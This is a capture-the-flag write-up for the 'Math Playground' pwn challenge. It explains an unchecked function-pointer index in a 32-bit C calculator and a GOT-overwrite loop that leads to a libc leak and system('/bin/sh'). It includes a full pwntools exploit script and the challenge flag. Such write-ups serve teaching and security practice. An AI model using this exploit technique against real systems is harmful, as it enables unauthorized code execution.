Math Playground

by Sean
pwn 500 pts

My python calculator was a total disaster, so I decided to write one in c since c is known for being a secure programming language right?

Be aware: the layout of the program on remote may be slightly different than the containerized version.

nc chal.bearcatctf.io 11231

Writeup

Author: Claude Credit: Claude, Fenix

Challenge Overview

We're given a 32-bit C "calculator" binary that lets the user pick an arithmetic operation and two integers, then calls the selected function and prints the result.

int (*operations[4])(int, int) = {add, subtract, multiply, divide};

int main() {
    int choice, a, b, res;
    // ...
    scanf("%d", &choice);
    scanf("%d %d", &a, &b);
    res = (*operations[choice-1])(a, b);
    printf("%d\n", res);
}

Binary Protections

Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)

No PIE means all binary addresses are fixed. Partial RELRO means .got.plt is writable. Stack canary and NX prevent simple buffer overflow / shellcode approaches.

The Vulnerability

There is no bounds check on choice. The expression operations[choice-1] performs an out-of-bounds read from the global operations array, then calls whatever address it reads as a function pointer with (a, b) as arguments.

Since operations is at a fixed address (0x804c02c) and the nearby .got.plt section (0x804c000) contains resolved libc function pointers, negative values of choice let us call any GOT function with fully controlled arguments.

Memory Layout

0x804c000  .got.plt start
0x804c00c  __libc_start_main@GOT
0x804c010  printf@GOT              <- operations[-7]
0x804c014  __stack_chk_fail@GOT
0x804c018  puts@GOT                <- operations[-5]
0x804c01c  setvbuf@GOT
0x804c020  scanf@GOT               <- operations[-3]
0x804c024  .data start (writable)  <- operations[-2]
0x804c028  __dso_handle
0x804c02c  operations[0] = &add
0x804c030  operations[1] = &subtract
0x804c034  operations[2] = &multiply
0x804c038  operations[3] = &divide

Key OOB indices: | choice | index | reads from | calls | |--------|-------|------------|-------| | -2 | -3 | scanf@GOT | scanf(a, b) | | -4 | -5 | puts@GOT | puts(a) | | -1 | -2 | 0x804c024 | whatever we write there |

Exploitation Strategy

The core challenge is that we only get one function call per execution before printf("%d\n", res) runs and the program exits. We need to leak libc, compute addresses, and call system("/bin/sh") — that requires multiple interactions.

The Loop Trick

The key insight is turning the single-shot vulnerability into a reusable loop within one connection by hijacking printf@GOT.

After the OOB call, main executes:

call   printf@plt          ; 0x80492dd — printf("%d\n", res)
add    $0x10,%esp           ; 0x80492e2 — cleanup

Meanwhile, the printf("Enter your choice: ") call earlier in main looks like:

call   printf@plt          ; 0x804926e — printf("Enter your choice: ")
add    $0x10,%esp           ; 0x8049273 — cleanup, then falls into scanf for choice

If we overwrite printf@GOT with 0x8049273 (the instruction right after the prompt printf), then every subsequent call to printf@plt will jump directly into the scanf-for-choice code, skipping the menu and the prompt printf entirely. This creates a loop:

call printf@plt  -->  jmp 0x8049273  -->  scanf(&choice)  -->  scanf(&a, &b)
     -->  operations[choice-1](a, b)  -->  call printf@plt  -->  jmp 0x8049273  -->  ...

Each iteration consumes only 4 extra bytes of stack (the return address pushed by call that never gets popped by ret), which is negligible.

Four-Step Exploit

Step 1: Create the loop — Overwrite printf@GOT with 0x8049273

choice = -2          (call scanf)
a      = 0x804a064   (format string "%d")
b      = 0x804c010   (printf@GOT)
stdin  → 134517363   (0x8049273 = LOOP_ADDR)

scanf("%d", &printf_got) writes our loop address into printf@GOT. When printf("%d\n", res) executes, it jumps to 0x8049273 and the program loops back to reading the next choice.

Step 2: Leak libc — Call puts(scanf@GOT)

choice = -4          (call puts)
a      = 0x804c020   (scanf@GOT — contains resolved libc address)
b      = 0            (ignored)

puts prints the raw bytes of scanf's libc address. We parse the leak, subtract the known offset of __isoc99_scanf, and recover libc_base.

Step 3: Write system to a data slot — Arbitrary write via scanf

choice = -2          (call scanf)
a      = 0x804a064   ("%d")
b      = 0x804c024   (writable .data slot = operations[-2])
stdin  → system_addr  (libc_base + system_offset)

Now operations[-2] (at 0x804c024) contains the address of system.

Step 4: Call system("/bin/sh")

choice = -1          (reads operations[-2] = system's address)
a      = binsh_addr  (libc_base + offset of "/bin/sh" string in libc)
b      = 0

This calls system("/bin/sh") and drops us into a shell.

Flag

BCCTF{y0U_mu57_r3411y_h473_maTH}

Solve Scripts

exploit.py
Download
#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'i386'
context.bits = 32

# Binary addresses (no PIE)
PRINTF_GOT   = 0x804c010
SCANF_GOT    = 0x804c020
DATA_SLOT    = 0x804c024  # writable slot = operations[-2]
FMT_D        = 0x804a064  # "%d" string in .rodata

# Address to loop back to: right after printf("Enter your choice: ") call
# Skips menu/printf recursion, goes straight to scanf for choice
LOOP_ADDR    = 0x8049273

# OOB choices:
# operations[-3] = scanf GOT => choice = -2
# operations[-5] = puts GOT  => choice = -4
# operations[-2] = DATA_SLOT => choice = -1
SCANF_CHOICE = -2
PUTS_CHOICE  = -4
SLOT_CHOICE  = -1

REMOTE_LIBC  = '/tmp/libc_remote.so'
LOCAL_LIBC   = '/lib32/libc.so.6'

def to_signed(val):
    if val >= 0x80000000:
        return val - 0x100000000
    return val

is_remote = len(sys.argv) > 1 and sys.argv[1] == 'remote'
if is_remote:
    p = remote('chal.bearcatctf.io', 11231)
    libc = ELF(REMOTE_LIBC)
else:
    p = process('./pwn_math_playground/math_playground')
    libc = ELF(LOCAL_LIBC)

scanf_offset = libc.symbols.get('__isoc99_scanf', 0)
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))

# === STEP 1: Overwrite printf GOT -> LOOP_ADDR ===
log.info(f"Step 1: Overwriting printf GOT -> {hex(LOOP_ADDR)}")
p.recvuntil(b"Enter your choice: ")
p.sendline(str(SCANF_CHOICE).encode())
p.recvuntil(b"Enter two integers:\n")
p.sendline(f"{to_signed(FMT_D)} {to_signed(PRINTF_GOT)}".encode())
p.sendline(str(to_signed(LOOP_ADDR)).encode())

# === STEP 2: Leak libc via puts(scanf_GOT) ===
log.info("Step 2: Leaking libc address")
p.sendline(str(PUTS_CHOICE).encode())
p.recvuntil(b"Enter two integers:\n")
p.sendline(f"{to_signed(SCANF_GOT)} 0".encode())

leak_data = p.recvline()
leak_bytes = leak_data.rstrip(b'\n')
leak_bytes = leak_bytes.ljust(4, b'\x00')
leaked_scanf = u32(leak_bytes[:4])
log.info(f"Leaked scanf: {hex(leaked_scanf)}")

libc_base = leaked_scanf - scanf_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.info(f"Libc base: {hex(libc_base)}")
log.info(f"system:    {hex(system_addr)}")
log.info(f"/bin/sh:   {hex(binsh_addr)}")

# === STEP 3: Write system address to DATA_SLOT ===
log.info("Step 3: Writing system addr to data slot")
p.sendline(str(SCANF_CHOICE).encode())
p.recvuntil(b"Enter two integers:\n")
p.sendline(f"{to_signed(FMT_D)} {to_signed(DATA_SLOT)}".encode())
p.sendline(str(to_signed(system_addr)).encode())

# === STEP 4: Call system("/bin/sh") ===
log.info("Step 4: Calling system('/bin/sh')")
p.sendline(str(SLOT_CHOICE).encode())
p.recvuntil(b"Enter two integers:\n")
p.sendline(f"{to_signed(binsh_addr)} 0".encode())

log.success("Got shell!")
p.interactive()